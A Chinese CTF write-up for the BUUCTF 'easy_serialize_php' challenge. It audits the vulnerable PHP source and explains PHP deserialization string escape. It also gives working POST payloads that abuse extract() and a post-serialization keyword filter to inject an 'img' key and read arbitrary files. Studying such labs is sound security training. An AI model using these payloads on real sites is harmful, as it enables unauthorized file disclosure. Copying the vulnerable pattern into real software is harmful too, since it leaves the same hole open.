BUUCTF[安洵杯 2019]easy_serialize_php 1

考点:

  反序列化逃逸

进入靶场

 代码审计

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}#filter函数对指定符串进行过滤


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);#变量覆盖,传入的变量值将覆盖原来的变量

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');#对ing的值进行base64加密
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));#对img的值进行base64加密和sha1加密
}

$serialize_info = filter(serialize($_SESSION));#将$_SESSION序列化并过滤

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

发现当$function == index.php时,为上面的代码;当$function == phpinfo时,“maybe you can find something in here!”,

令f = phpinfo

 看到可疑文件:d0g3_f1ag.php

$serialize_info = filter(serialize($_SESSION));#将$_SESSION序列化并过滤


else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }

根据此代码,可以知道它的逻辑

  序列化 $_SESSION => filter过滤函数 => 反序列化 => base64解密文件名

知道了逻辑,现在需要img等于d0g3_f1ag.php的base64加密。(即 img=ZDBnM19mMWFnLnBocA==)

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);#变量覆盖,传入的变量值将覆盖原来的变量

为理解上方代码是如何实现的,我们来试一下。

 运行的是他的原值

 用POST改变它的值

 发现我们可以控制它的值,所以我们推测要用$_SESSION函数来进行传参。

php反序列化逃逸

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

<?php

$_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}abc';

echo serialize($_SESSION);

输出

a:1:{s:7:"flagphp";s:53:";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}abc";}

可以输出上面的结果,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符(abc)会被忽略,不影响反序列化的正常进行。

 

<?php 

$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';

echo serialize($_SESSION);
?>

输出

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

本题存在一个过滤机制。会将指定字符串替换为空

<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$_SESSION["user"]='flagflagflagflagflagflag'; 
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
$a = filter(serialize($_SESSION)); 

echo serialize($a);

输出

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

看第二个s所对应的值,发现为空。原因是用filter函数将flag替换为空。那么按照规则向后读取24个字符看否不否和规则,即读取";s:8:"function";s:59:"a,读完后刚好以";结尾。后面也满足规则,序列化的结果为

 

array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

 

可以发现,SESSION数组的键值img对应的值发生了改变。 设想,如果我们能够控制原来SESSION数组的funcion的值但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。这个感觉就像sql注入一样,他本来想读取的base64编码是:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,向后读取的过程中把键值function放到了第一个键值的内容里面,用ZDBnM19mMWFnLnBocA==代替了真正的base64编码,读取了d0g3_f1ag.php的内容。而识别完成后最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。

逃逸实现

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

GET传入f=show_image

POST传入:_SESSION['flagphp']=;s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 回显中没任何东西。看源代码

 发现flag在/d0g3_fllllllag中,对它进行base64加密,并替换img的值。因为都是20位,所以直接替换。

POST传入:_SESSION['flagphp']=;s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 得到flag。

还能传入的方法:

  _SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";};

  $_SESSION['XXX']传入的值为8个被过滤的字符时:用";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";};

  $_SESSION['XXX']传入的值为7个被过滤的字符时:用;s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

posted @ 2021-12-06 18:52  LoYoHo00  阅读(323)  评论(0编辑  收藏  举报
levels of contents